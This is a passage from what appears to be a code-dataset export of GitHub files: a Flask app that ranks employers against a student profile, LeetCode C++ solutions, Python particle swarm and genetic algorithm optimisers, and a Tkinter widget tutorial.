thinking', 'reliable', 'confident', 'agreeable', 'considerate']]\\nemployer3 = [2020, \\\"ayyyymd\\\", \\\"Brunei-Muara\\\", False, [\\\"Maths\\\", \\\"Computer Science\\\", \\\"Business\\\", \\\"Economics\\\", \\\"Physics\\\"], 4, 10, 3, 3, 10, True, ['positive', 'honest', 'reliable', 'confident', 'agreeable', 'adventurous']]\\nemployer4 = [2020, \\\"shintel\\\", \\\"Temburong\\\", False, [\\\"Maths\\\", \\\"Computer Science\\\", \\\"Business\\\", \\\"Economics\\\", \\\"Physics\\\"], 7, 4, 9, 10, 10, False, ['positive', 'reliable', 'confident', 'considerate', 'adventurous', 'original']]\\nemployer5 = [2020, \\\"Bdope\\\", \\\"Tutong\\\", True, [\\\"Art\\\", \\\"Psychology\\\", \\\"Business\\\", \\\"Economics\\\"], 2, 8, 4, 4, 5, True, ['positive', 'honest', 'creative thinking', 'reliable', 'confident', 'agreeable']]\\nemployer6 = [2020, \\\"Lavinci\\\", \\\"Brunei-Muara\\\", True, [\\\"Art\\\", \\\"English\\\", \\\"Psychology\\\", \\\"Economics\\\"], 7, 2, 2, 10, 10, True, ['positive', 'creative thinking', 'reliable', 'confident', 'agreeable', 'considerate']]\\nemployer7 = [2020, \\\"yCircle\\\", \\\"Belait\\\", False, [\\\"Maths\\\", \\\"Physics\\\", \\\"Computer Science\\\"], 3, 7, 6, 2, 9, False, ['loyal', 'reliable', 'agreeable', 'considerate', 'enthusiastic', 'courteous']]\\nemployer8 = [2020, \\\"Shell\\\", \\\"Brunei-Muara\\\", False, [\\\"Economics\\\", \\\"Business\\\", \\\"Geography\\\"], 6, 2, 1, 9, 10, True, ['positive', 'confident', 'agreeable', 'productive', 'fluent', 'sincere']]\\nemployer9 = [2020, \\\"Pear\\\", \\\"Tutong\\\", True, [\\\"Computer Science\\\", \\\"Physics\\\", \\\"Business\\\"], 9, 3, 5, 2, 10, True, ['honest', 'confident', 'considerate', 'adventurous', 'productive', 'enthusiastic']]\\nemployer10 = [2020, \\\"Wacdonalds\\\", \\\"Belait\\\", False, [\\\"Psychology\\\", \\\"English\\\", \\\"Geography\\\", \\\"Economics\\\", \\\"Drama\\\"], 10, 10, 1, 5, 10, True, ['honest', 'creative thinking', 'reliable', 'considerate', 'original', 'trustworthy']]\\nemployer11 = [2020, \\\"WagyuQueen\\\", \\\"Belait\\\", False, [\\\"Psychology\\\", \\\"English\\\", \\\"Geography\\\", \\\"Economics\\\"], 1, 4, 8, 10, 3, False, ['positive', 'honest', 'confident', 'adventurous', 'considerate', 'productive']]\\n\\nemployers = []\\nemployers.append(employer1)\\nemployers.append(employer2)\\nemployers.append(employer3)\\nemployers.append(employer4)\\nemployers.append(employer5)\\nemployers.append(employer6)\\nemployers.append(employer7)\\nemployers.append(employer8)\\nemployers.append(employer9)\\nemployers.append(employer10)\\nemployers.append(employer11)\\n\\n\\nemployersWeightingScores = {}\\nfor i in range(11):\\n employersWeightingScores[i] = 0.1\\n\\n# Weighting Algorithm Part\\n# There are some arbitary values that I've decided to use for the weight\\n# like how location is worth 5 and virtual work is worth 2.\\n# Also the higher the weight for the employers, the better\\n# It's like the employers score\\n\\ni = 0\\nfor employer in employers:\\n weight = float(0)\\n #Location\\n userLocation = person[2]\\n if userLocation == employer[2]:\\n weight += 5\\n\\n #VirtualWork\\n\\n if person[3] == employer[3]:\\n weight += 2\\n\\n #Subjects\\n\\n usersubjects = person[4].split(', ')\\n for user_subject in usersubjects:\\n for employer_subject in employer[4]:\\n if user_subject == employer_subject:\\n weight += 1.5\\n\\n #Teamwork skills\\n\\n # If an employer has a 2 for importance on teamwork, then it'll have a weight of 0.4 per point that the user has.\\n # If an employer has a 9 for importance on teamwork, then it'll have a weight of 1.8 per point that the user has.\\n # Ie it dictates how important the employer values teamwork and future skills\\n weight += float(person[5]) * (float(employer[5]) * 0.1)\\n\\n #Creativity\\n\\n weight += float(person[6]) * (float(employer[6]) * 0.1)\\n\\n #Organization skills\\n\\n weight += float(person[7]) * (float(employer[7]) * 0.1)\\n\\n #Problem Solving Skills\\n\\n weight += float(person[8]) * (float(employer[8]) * 0.1)\\n\\n #General Computer Skills\\n\\n weight += float(person[9]) * (float(employer[9]) * 0.1)\\n\\n #Willingness to learn\\n\\n if person[10] == False and employer[10] == True:\\n weight -= 3\\n elif person[10] == True and employer[10] == True:\\n weight += 3\\n\\n #Qualities\\n for employerquality in employer[11]:\\n for userquality in synonyms:\\n if userquality == employerquality:\\n weight += 0.5\\n\\n employersWeightingScores[i] = weight\\n i += 1\\n\\nfinalList = []\\n# sort employers weighting score\\nsortedRankings = sorted(employersWeightingScores, key=employersWeightingScores.get)\\nsortedRankings.reverse()\\nfor i in range(11):\\n employerName = employers[sortedRankings[i]][1]\\n s = str(i+1) + \\\": \\\" + employerName\\n print(s)\\n finalList.append(s)\\n\\nfrom flask import Flask, render_template, url_for\\napp = Flask(__name__)\\n\\nposts = [\\n {\\n \\\"author\\\": \\\"Ahmad Jamsari\\\",\\n \\\"title\\\": \\\"Blog Post 1\\\",\\n \\\"content\\\": \\\"First content\\\",\\n \\\"date_posted\\\": \\\"April 20, 2018\\\"\\n },\\n {\\n \\\"author\\\": \\\"Jane Doe\\\",\\n \\\"title\\\": \\\"Blog Post 2\\\",\\n \\\"content\\\": \\\"Second post content\\\",\\n \\\"date_posted\\\": \\\"April 21, 2018\\\"\\n }\\n]\\n\\n@app.route('/')\\n@app.route(\\\"/home\\\")\\ndef home():\\n return render_template(\\\"home.html\\\", posts=posts)\\n\\n\\n@app.route('/about')\\ndef about():\\n return render_template(\\\"about.html\\\", title=\\\"About\\\")\\n\\n\\n@app.route('/login')\\ndef login():\\n return render_template(\\\"login.html\\\")\\n\\n\\n@app.route('/register')\\ndef register():\\n return render_template(\\\"register.html\\\")\\n\\n\\n@app.route('/employers')\\ndef employer():\\n return render_template(\\\"employer.html\\\")\\n\\n\\n@app.route('/students')\\ndef student():\\n return render_template(\\\"students.html\\\")\\n\\n@app.route('/final')\\ndef final():\\n return render_template(\\\"final.html\\\", companies = finalList)\\n\\nif __name__ == '__main__':\\n app.run()\\n\"\n },\n {\n \"alpha_fraction\": 0.5,\n \"alphanum_fraction\": 0.692307710647583,\n \"avg_line_length\": 12.166666984558105,\n \"blob_id\": \"059a8c35b50ba0941f8cde1eaec7acddb025b914\",\n \"content_id\": \"3ef17d42369bc1d914dd553cea5e6a88d0ab2b51\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Text\",\n \"length_bytes\": 78,\n \"license_type\": \"no_license\",\n \"max_line_length\": 19,\n \"num_lines\": 6,\n \"path\": \"/requirements.txt\",\n \"repo_name\": \"Terairk/WEconnect\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"Flask==1.1.2\\n\\ngspread~=3.6.0\\noauth2client~=4.1.3\\nnltk~=3.5\\nPyDictionary~=2.0.1\"\n },\n {\n \"alpha_fraction\": 0.5957327485084534,\n \"alphanum_fraction\": 0.605277955532074,\n \"avg_line_length\": 31.290908813476562,\n \"blob_id\": \"cee088ae713138195bc087b66f9f582ad4256569\",\n \"content_id\": \"4de0e0659fa30e7277f202f3017167d31a8c3413\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1781,\n \"license_type\": \"no_license\",\n \"max_line_length\": 109,\n \"num_lines\": 55,\n \"path\": \"/generate_values.py\",\n \"repo_name\": \"Terairk/WEconnect\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# This is a python file to generate the values for various employers\\n# Manually inputting values from random.org is kinda a pain\\n# Also manually inputting lots of qualities is also a pain\\n# I had to manually input subjects and it was kind of a pain\\n# So to save me from this pain, I'll create a whole new program\\n# This might save me time, it might not, this file generates the values after the subjects for employer lists\\n# Edit: It saved me time\\n# Noticed that code isn't perfect as it could generate multiple of the same quality but that's fine\\n\\nfrom random import randint\\n\\n# Qualities that Employers want\\nqualities = [\\\"friendly\\\", \\\"positive\\\", \\\"fluent\\\", \\\"confident\\\", \\\"honest\\\", \\\"humble\\\", \\\"courteous\\\", \\\"trustworthy\\\",\\n \\\"honorable\\\", \\\"creative thinking\\\", \\\"original\\\", \\\"inventive\\\", \\\"productive\\\", \\\"adventurous\\\",\\n \\\"agreeable\\\", \\\"ambitious\\\", \\\"bright\\\", \\\"considerate\\\", \\\"enthusiastic\\\", \\\"helpful\\\",\\n \\\"loyal\\\", \\\"reliable\\\", \\\"sensible\\\", \\\"sincere\\\"]\\n\\n\\n# Loop for each employer\\nfor i in range(11):\\n\\n # Get the 5 values after the subjects\\n for i in range(5):\\n value = randint(1,10)\\n print(value, end=\\\", \\\")\\n\\n # True or False\\n willingnessToLearn = randint(0,1)\\n toLearn = False\\n if willingnessToLearn == 0:\\n print(\\\"False\\\", end=\\\", \\\")\\n else:\\n print(\\\"True\\\", end=\\\", \\\")\\n\\n temp = []\\n\\n # Employer qualities\\n print(\\\"[\\\", end=\\\"\\\")\\n for i in range(20):\\n value = randint(0, len(qualities) - 1)\\n # fixes duplicates\\n temp.append(qualities[value])\\n temp = list(set(temp))\\n s = \\\"'\\\" + temp[-1] + \\\"'\\\"\\n\\n\\n for i in range(6):\\n s = \\\"'\\\" + temp[i] + \\\"'\\\"\\n if i == 5:\\n print(s, end=\\\"\\\")\\n else:\\n print(s, end=\\\", \\\")\\n\\n print(\\\"]\\\", end=\\\"\\\")\\n print()\\n\\n\\n\\n\\n\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":4,"string":"4"}}},{"rowIdx":2978319,"cells":{"repo_name":{"kind":"string","value":"MoMiJ1/Fungus"},"repo_url":{"kind":"string","value":"https://github.com/MoMiJ1/Fungus"},"snapshot_id":{"kind":"string","value":"34a1bfd7038da87a722bc155f7453656e1fc3168"},"revision_id":{"kind":"string","value":"e280984f84557c7ac48dd1bbcd848f08bb6d50f3"},"directory_id":{"kind":"string","value":"6966c91325bfdccbe3626368e53eea2e4e4edc63"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-07-02T15:11:51.131692","string":"2021-07-02T15:11:51.131692"},"revision_date":{"kind":"timestamp","value":"2021-06-22T11:43:14","string":"2021-06-22T11:43:14"},"committer_date":{"kind":"timestamp","value":"2021-06-22T11:43:14","string":"2021-06-22T11:43:14"},"github_id":{"kind":"number","value":237172413,"string":"237,172,413"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.3710247278213501,"alphanum_fraction":0.3922261595726013,"avg_line_length":18.285715103149414,"blob_id":"2186f1ff72ce5687b0765c71d891e6f0ae087af8","content_id":"dc777ff39f21a6dca77b181805fa8f9d3ff8b206","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":572,"license_type":"no_license","max_line_length":46,"num_lines":28,"path":"/leetcode/leetcode9.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 9. 回文数\r\n\r\nclass Solution {\r\npublic:\r\n bool isPalindrome(int x) {\r\n queue<int> que;\r\n int count=0;\r\n long a=0;\r\n long b = x;\r\n if (x<0){\r\n return false;\r\n }\r\n while (x!=0){\r\n que.push(x%10);\r\n x = x/10;\r\n count++;\r\n }\r\n while (!que.empty()){\r\n a = a+que.front()*pow(10,--count);\r\n que.pop();\r\n }\r\n if (a-b == 0){ return true;}\r\n return false;\r\n }\r\n};"},{"alpha_fraction":0.4955357015132904,"alphanum_fraction":0.5106026530265808,"avg_line_length":36.12765884399414,"blob_id":"734ae03af3791214ec2d4cbe8a4d20f66bd569c1","content_id":"e475f293153eda5c122349f803a4a047fad2c275","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3782,"license_type":"no_license","max_line_length":107,"num_lines":94,"path":"/python/PSO.py","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n# 计算函数 f(x,y) = 5cos(xy) + xy + y^3 的最小值\r\n# x ∈ [ -5, 5 ] y ∈ [-5，5 ]\r\n\r\n\r\nclass PSO:\r\n def __init__(self, iterTimes, groupSize, varNums, bound):\r\n '''\r\n :param iterTimes: 迭代次数\r\n :param groupSize: 解集大小\r\n :param varNums: 变量数量\r\n :param bound: 变量约束 [[x_min, y_min, z_min...] [x_max, y_max, z_max]]\r\n '''\r\n self.iterTimes = iterTimes\r\n self.groupSize = groupSize\r\n self.varNums = varNums\r\n self.bound = bound\r\n\r\n self.p_sites = np.zeros((self.groupSize, self.varNums))\r\n self.p_v = np.zeros((self.groupSize, self.varNums))\r\n self.p_optimal = np.zeros((self.groupSize, self.varNums))\r\n self.Optimal = np.zeros((1, self.varNums))\r\n self.alpha1, self.alpha2 = 1, 1\r\n self.weight = 0.5\r\n\r\n self.initialize()\r\n\r\n def initialize(self):\r\n temp_score = -1\r\n for i in range(self.groupSize):\r\n for j in range(self.varNums):\r\n # 1. 随机初始化粒子位置与速度\r\n self.p_sites[i][j] = np.random.uniform(self.bound[0][j], self.bound[1][j])\r\n self.p_v[i][j] = np.random.uniform(0, 1)\r\n # 2. 初始化粒子最好位置\r\n self.p_optimal[i] = self.p_sites[i]\r\n # 3. 评价当前粒子最好位置\r\n score = self.fitness(self.p_optimal[i])\r\n # 4. 更新全局最好位置\r\n if score > temp_score:\r\n self.Optimal = self.p_optimal[i]\r\n temp_score = score\r\n\r\n # 自定义函数\r\n def fitness(self, values):\r\n return (5 * np.cos(values[0] * values[1]) + values[0] * values[1] + pow(values[1], 3))\r\n\r\n # 更新位置与速度\r\n def update_params(self, group_size):\r\n for i in range(group_size):\r\n # 1. 更新速度\r\n self.p_v[i] = self.weight * self.p_v[i] + \\\r\n self.alpha1 * np.random.uniform(0, 1) * (self.p_optimal[i] - self.p_sites[i]) + \\\r\n self.alpha2 * np.random.uniform(0, 1) * (self.Optimal - self.p_sites[i])\r\n # 2. 更新位置\r\n self.p_sites[i] = self.p_sites[i] + self.p_v[i]\r\n # 3. 防止变量越界\r\n for j in range(self.varNums):\r\n if self.p_sites[i][j] < self.bound[0][j]:\r\n self.p_sites[i][j] = self.bound[0][j]\r\n if self.p_sites[i][j] > self.bound[1][j]:\r\n self.p_sites[i][j] = self.bound[1][j]\r\n # 4. 更新最优位置\r\n if self.fitness(self.p_sites[i]) > self.fitness(self.p_optimal[i]):\r\n self.p_optimal[i] = self.p_sites[i]\r\n if self.fitness(self.p_sites[i]) > self.fitness(self.Optimal):\r\n self.Optimal = self.p_sites[i]\r\n\r\n def run(self):\r\n scores = []\r\n self.tempOptimal = np.zeros((1, self.varNums))[0]\r\n for i in range(self.iterTimes):\r\n self.update_params(self.groupSize)\r\n scores.append(-self.fitness(self.Optimal))\r\n if self.fitness(self.Optimal) > self.fitness(self.tempOptimal):\r\n self.tempOptimal = self.Optimal.copy()\r\n print(f\"{i}代 : {-self.fitness(self.tempOptimal)} : {self.tempOptimal}\")\r\n self.display(scores)\r\n\r\n def display(self, data):\r\n plt.plot(range(self.iterTimes), data, color='lightcoral')\r\n plt.title(\"iteration - score\", color='r')\r\n plt.xlabel(\"iteration\")\r\n plt.ylabel(\"score\")\r\n plt.show()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n bound = [[-5, -5], [5, 5]]\r\n pso = PSO(iterTimes=50, groupSize=20, varNums=2, bound=bound)\r\n pso.run()\r\n"},{"alpha_fraction":0.41992881894111633,"alphanum_fraction":0.43505337834358215,"avg_line_length":20.078432083129883,"blob_id":"76e9803f12d0ccc83b06112a315247da113a2d49","content_id":"20907660afc4e8e9a8ad1077af2a112044c992af","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1156,"license_type":"no_license","max_line_length":55,"num_lines":51,"path":"/leetcode/leetcode26_27_28.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 26.删除有序数组的重复项\r\n\r\nclass Solution {\r\npublic:\r\n int removeDuplicates(vector<int>& nums) {\r\n int i = 0;\r\n for (int j = 1; j < nums.size(); j++) {\r\n if (nums[j] == nums[j-1]){\r\n j--;\r\n nums.erase(nums.begin()+j);\r\n }\r\n }\r\n int k = nums.size();\r\n return k;\r\n }\r\n};\r\n\r\n// LeetCode 27.移除元素\r\n\r\nclass Solution {\r\npublic:\r\n int removeElement(vector<int>& nums, int val) {\r\n int k = 0;\r\n for(int i = 0;i<nums.size();i++){\r\n if(nums[i]!=val){\r\n nums[k++] = nums[i];\r\n }\r\n }\r\n return k;\r\n }\r\n};\r\n\r\n// LeetCode 28.实现strstr\r\n\r\nclass Solution {\r\npublic:\r\n int strStr(string haystack, string needle) {\r\n if (needle.empty()) {return 0;}\r\n int l = needle.size();\r\n if (l > haystack.size()){return -1;}\r\n for (int i = 0; i < haystack.size()-l+1; i++) {\r\n if (haystack.compare(i,l,needle)==0) {\r\n return i;\r\n }\r\n }\r\n return -1;\r\n }\r\n};"},{"alpha_fraction":0.4502212405204773,"alphanum_fraction":0.49668142199516296,"avg_line_length":32.846153259277344,"blob_id":"28f99fe7a74016f29c0e93d4ef24528287f799ec","content_id":"8eb6626bf652fbce216bb0b7a5c750f0e5bf0b7c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":914,"license_type":"no_license","max_line_length":65,"num_lines":26,"path":"/leetcode/leetcode539.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n# define DAY 1440\r\n\r\n// LeetCode 539.最小时间差\r\n\r\nclass Solution {\r\npublic:\r\n int findMinDifference(vector<string>& timePoints) {\r\n sort(timePoints.begin(),timePoints.end());\r\n int res = 1440;\r\n for(int i = 0; i < timePoints.size()-1; i++){\r\n int h1 = atoi(timePoints[i].substr(0,2).c_str());\r\n int m1 = atoi(timePoints[i].substr(3,2).c_str());\r\n for(int j = i + 1; j < timePoints.size(); j++){\r\n if(timePoints[i] == timePoints[j]) return 0;\r\n int h2 = atoi(timePoints[j].substr(0,2).c_str());\r\n int m2 = atoi(timePoints[j].substr(3,2).c_str());\r\n int tmp1 = abs(h2*60+m2-h1*60-m1);\r\n int tmp2 = DAY - tmp1;\r\n if(min(tmp1,tmp2) < res) res = min(tmp1,tmp2);\r\n }\r\n }\r\n return res;\r\n }\r\n};"},{"alpha_fraction":0.5071805119514465,"alphanum_fraction":0.5268133282661438,"avg_line_length":29.4228572845459,"blob_id":"64c82c35ccba02240b1b234bc00b13f70667f829","content_id":"fa69bc1e5fc7ede17d5819e61ddeb4e151823e1a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":6269,"license_type":"no_license","max_line_length":107,"num_lines":175,"path":"/python/gui.py","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"import sys\r\nif sys.version_info.major < 3:\r\n import Tkinter\r\nelse:\r\n import tkinter as Tkinter\r\n\r\n\r\n'''\r\n 【基本控件】\r\n 1. Radiobutton(root, text, variable, value)\r\n :param root: Tk\r\n :param text: 选项的文本\r\n :param variable: 绑定选择的变量\r\n :param value: 该选项对应的值\r\n\r\n 2. Button(root, text, command)\r\n :param root: Tk\r\n :param text: 选项的文本\r\n :param command: 点击时调用的函数\r\n\r\n 3. Checkbutton(root, text, variable)\r\n :param root: Tk\r\n :param text: 选项的文本\r\n :param variable: 绑定选择变量\r\n\r\n 4. Scale(root, label, length, from_, to, resolution, variable, orient)\r\n :param root: Tk\r\n :param label: 显示的名称\r\n :param length: 滑块长度\r\n :param from_: 左边界\r\n :param to: 右边界\r\n :param resolution: 步长\r\n :param variable: 绑定选择变量\r\n :param orient: 滑动方向\r\n \r\n 5. Label(root, text, textvariable, font, justify, foreground, underline, anchor, width, height, bg)\r\n :param text: 静态文本\r\n :param textvariable: 动态文本\r\n :param font: 字体，格式为一个tuple (font_name, font_size)\r\n :param justify: 对齐方式，有:['center','left','right']\r\n :param foreground: 文本颜色\r\n :param underline: 单个字符添加下划线，传入值为目标字符串的索引\r\n :param anchor: 位置，可选(n,s,w,e,ne,nw,sw,se,center)，eswn对应东南西北\r\n \r\n 6. grid(row, column)\r\n :param row: 控件所在的行位置\r\n :param column:控件所在的列位置 \r\n'''\r\ndef basic_widget(method=\"pack\"):\r\n def initUI(name='gui', size='900x600'):\r\n root = Tkinter.Tk()\r\n root.title(name)\r\n root.geometry(size)\r\n return root\r\n\r\n def click(i):\r\n if i == 1:\r\n print('选择：', choose_list[choose.get()])\r\n elif i == 2:\r\n selects = []\r\n for k, v in abcd.items():\r\n if v.get(): selects.append(k)\r\n print(\"选择：\", selects)\r\n elif i == 3:\r\n print(factor.get())\r\n\r\n\r\n if __name__ == \"__main__\":\r\n root = initUI()\r\n\r\n # 单选\r\n choose_list = ['A', 'B', 'C', 'D']\r\n choose = Tkinter.IntVar()\r\n choose.set(0)\r\n for i, val in enumerate(choose_list):\r\n Tkinter.Radiobutton(root, text=val, variable=choose, value=i).pack()\r\n Tkinter.Button(root, text=\"单选\", command=click(1)).pack()\r\n\r\n # 复选\r\n a, b, c, d = Tkinter.BooleanVar(), Tkinter.BooleanVar(), Tkinter.BooleanVar(), Tkinter.BooleanVar()\r\n abcd = {'A': a, 'B': b, 'C': c, 'D': d}\r\n for k, v in abcd.items():\r\n v.set(0)\r\n Tkinter.Checkbutton(root, text=k, variable=v).pack()\r\n Tkinter.Button(root, text=\"复选\", command=click(2)).pack()\r\n\r\n # 滑块\r\n factor = Tkinter.DoubleVar()\r\n factor.set(0.800)\r\n Tkinter.Scale(root, label='滑块', length=200, from_=0., to=1.0, resolution=0.001,\r\n variable=factor, orient=Tkinter.HORIZONTAL).pack()\r\n Tkinter.Button(root, text='输出', command=click(3)).pack()\r\n\r\n # 文本显示\r\n text = Tkinter.StringVar()\r\n text.set(\"This is a text;这是个文本。\")\r\n label = Tkinter.Label(root,textvariable=text,font=('宋体',15),foreground='black',\r\n underline=3,anchor='nw',width=30,height=2,bg='white')\r\n\r\n # 文本输入\r\n e = Tkinter.Entry(root)\r\n e.pack()\r\n Tkinter.Button(root, text=\"修改\").pack()\r\n\r\n root.mainloop()\r\n\r\n\r\n\r\n'''\r\n 【画布】\r\n 1. Canvas(root, bg, width, height)\r\n :param root: Tk\r\n :param bg: 画布背景颜色\r\n :param width: 画布宽\r\n :param heigth: 画布高\r\n \r\n 2. create_line(point, arrow, arrowshape, dash, width)\r\n :param point: 要连线的点的坐标\r\n :param arrow: 箭头，first--箭头在起始点，last--箭头在目标点，both--双箭头\r\n :param arrowshape: 箭头大小，传入一个tuple，如--(3,4,5)\r\n :param dash: 是否绘制虚线，默认False\r\n :param width: 线的宽度\r\n :param tags: 标签\r\n \r\n 3. create_oval(point, fill, outline, width)\r\n :param point: 椭圆的外接矩形的左上角和右下角坐标\r\n :param fill: 内部填充颜色\r\n :param outline: 边颜色\r\n :param width: 边宽\r\n :param tags: 标签\r\n \r\n 4. create_text(point, text, font)\r\n :param point: 文字所在点\r\n :param text: 文本内容\r\n :param font: 使用字体，传入tuple，如：(\"宋体\",12)\r\n \r\n 5. bind(event, handler)\r\n :param event: \r\n 常用的:\r\n (1) 26个字母，如: 'n','s'等，直接按键盘对应的键就可\r\n (2) <Button-1>:鼠标左键点击, <Button-3>: 右键点击\r\n <Button-4>: 向上滚轮, <Button-5>: 向下滚轮\r\n <Double-Button-1>: 左键双击，右键同理\r\n (3) <Return>:回车；<BackSpace>:删除；<Escape>:esc\r\n <Left>,<Up>,<Right>,<Down>: 方向键\r\n :param handler: event发生后的操作，可以是一个函数\r\n'''\r\n# 画布\r\ndef tk_canvas():\r\n def initUI(name='windows', size='900x600', width=900, height=500, bg='white'):\r\n root = Tkinter.Tk()\r\n root.geometry(size)\r\n root.title(name)\r\n cv = Tkinter.Canvas(root, bg=bg, width=width, height=height)\r\n return root,cv\r\n\r\n\r\n if __name__ == \"__main__\":\r\n root,cv = initUI()\r\n p1 = [[100,100],[300,200]]\r\n\r\n cv.create_line(p1,arrow=\"first\",arrowshape=(7,7,7),dash=True,width=5,tags=\"line\")\r\n cv.create_oval(p1,outline='blue',fill=\"pink\",width=10,tags=\"oval\")\r\n cv.create_text((400,300),text=\"hello\",font=(\"source code pro\",12))\r\n cv.grid(row=0)\r\n\r\n Tkinter.Button(root,text=\"btn1\").grid(row=1,column=0)\r\n Tkinter.Button(root,text=\"btn2\").grid(row=2)\r\n\r\n root.mainloop()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n basic_widget()\r\n tk_canvas()\r\n\r\n"},{"alpha_fraction":0.44222721457481384,"alphanum_fraction":0.4641132950782776,"avg_line_length":30.705263137817383,"blob_id":"a7923267a9f81a50749fd9b4cc97f50ffef35e3b","content_id":"102b08a78297878655185913bdac578b8503dd51","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":3261,"license_type":"no_license","max_line_length":119,"num_lines":95,"path":"/python/GA_simple.py","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport random\r\n\r\n\r\nclass GA_extremum:\r\n\r\n # 求解 x*sin(2x)*e^(-0.5x) 在 0<=x<=1 时的最大值\r\n # 使用浮点数编码\r\n\r\n def __init__(self, M_Size, T, Pc, Pm, bound_min, bound_max):\r\n '''\r\n :param M_Size: 种群数量\r\n :param T: 遗传代数\r\n :param Pc: 交叉概率\r\n :param Pm: 变异概率\r\n :param bound_min: 搜素上届\r\n :param bound_max: 搜索下界\r\n '''\r\n self.M_Size = M_Size\r\n self.T = T\r\n self.Pc = Pc\r\n self.Pm = Pm\r\n self.bound_min = bound_min\r\n self.bound_max = bound_max\r\n\r\n self.Optimal = [0, 0]\r\n\r\n # 随机生成初始解\r\n def initM(self):\r\n return [np.random.uniform(self.bound_min, self.bound_max) for i in range(self.M_Size)]\r\n\r\n # 目标函数\r\n def myfunc(self, x):\r\n return x * np.sin(2 * x) * np.exp(-0.5 * x)\r\n\r\n # 适应度函数\r\n def fitness(self, M):\r\n return [self.myfunc(M[i]) for i in range(self.M_Size)]\r\n\r\n # 选择: 最优保存选择\r\n def select(self, fitness, M):\r\n if np.max(fitness) > self.Optimal[1]:\r\n self.Optimal = [M[np.argmax(fitness)], np.max(fitness)]\r\n fitness[np.argmin(fitness)] = self.Optimal[1]\r\n M[np.argmin(fitness)] = M[np.argmax(fitness)]\r\n return fitness, M\r\n\r\n # 算术交叉\r\n def cross(self, M):\r\n s = []\r\n for i in range(self.M_Size // 2):\r\n if np.random.random() < self.Pc:\r\n x1 = np.random.randint(0, self.M_Size)\r\n while x1 in s:\r\n x1 = np.random.randint(0, self.M_Size)\r\n x2 = np.random.randint(0, self.M_Size)\r\n while x2 in s:\r\n x2 = np.random.randint(0, self.M_Size)\r\n s.append(x2)\r\n a, b = M[x1], M[x2]\r\n alpha = np.random.uniform(0, 0.05)\r\n M[x1] = sorted([np.random.choice([-1, 1]) * alpha * b + (1 - alpha) * a, 0, 1])[1]\r\n M[x2] = sorted([np.random.choice([-1, 1]) * alpha * a + (1 - alpha) * b, 0, 1])[1]\r\n return M\r\n\r\n # 变异\r\n def mutation(self, M, t):\r\n if t < 0.8 * self.T:\r\n for i in range(self.M_Size):\r\n if np.random.random() < self.Pm:\r\n M[i] = np.random.uniform(self.bound_min, self.bound_max)\r\n else:\r\n for i in range(self.M_Size):\r\n if np.random.random() < self.Pm:\r\n M[i] = sorted([M[i] + np.random.choice([-1, 1]) * random.gauss(\r\n (self.bound_min + self.bound_max) / 2, 2 * (self.bound_max - self.bound_min) / self.M_Size), 0,\r\n 1])[1]\r\n return M\r\n\r\n def run(self):\r\n M = self.initM()\r\n t = 1\r\n while t <= self.T:\r\n fitness = self.fitness(M)\r\n fitness, M = self.select(fitness, M)\r\n M = self.cross(M)\r\n M = self.mutation(M, t)\r\n t += 1\r\n\r\n\r\nif __name__ == \"__main__\":\r\n ga = GA_extremum(M_Size=40, T=50, Pm=0.05, Pc=0.5, bound_min=0, bound_max=1)\r\n res = ga.run()\r\n print(\"最优解为：x={}\\n极值：{}\".format(res[0], res[1]))\r\n"},{"alpha_fraction":0.45602163672447205,"alphanum_fraction":0.4736129939556122,"avg_line_length":23.55172348022461,"blob_id":"54f041c7f468f99414aaa5a1c4fe8295535618db","content_id":"671e15e246ba1ae3d09a47195927c62682ac94b3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":755,"license_type":"no_license","max_line_length":70,"num_lines":29,"path":"/leetcode/leetcode973.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 973.最接近原点的K个点\r\n\r\nclass Solution {\r\npublic:\r\n struct elem\r\n {\r\n vector<int> point;\r\n int dist;\r\n friend bool operator < (elem e1, elem e2) {\r\n return e1.dist >= e2.dist;\r\n }\r\n };\r\n vector<vector<int>> kClosest(vector<vector<int>>& points, int k) {\r\n priority_queue<elem> pq;\r\n vector<vector<int>>res;\r\n for(int i = 0; i < points.size(); i++){\r\n int temp = pow(points[i][0],2) + pow(points[i][1],2);\r\n pq.push({points[i],temp});\r\n }\r\n for(int i = 0; i < k; i++){\r\n res.push_back(pq.top().point);\r\n pq.pop();\r\n }\r\n return res;\r\n 